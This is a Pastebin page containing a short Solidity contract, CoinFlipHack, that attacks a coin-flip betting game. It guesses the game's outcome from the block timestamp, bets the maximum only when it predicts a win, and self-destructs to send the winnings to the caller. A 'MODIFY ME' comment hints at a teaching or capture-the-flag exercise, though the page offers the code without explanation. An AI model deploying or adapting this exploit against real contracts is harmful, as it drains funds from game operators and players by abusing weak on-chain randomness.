Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- pragma solidity ^0.5.0;
- interface CoinFlipGameInterface {
- function bet() external payable;
- function maxBet() external view returns(uint256);
- }
- contract CoinFlipHack {
- constructor(address payable coinFliGame) public payable{
- CoinFlipGameInterface coinFlipIF = CoinFlipGameInterface(coinFliGame);
- if(generateRandomBit()) {
- coinFlipIF.bet.value(coinFlipIF.maxBet())();
- }
- selfdestruct(msg.sender);
- }
- function generateRandomBit() private view returns(bool) {
- // MODIFY ME to randomly return either true or false
- if (now %2 ==0)return true;
- else return false;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement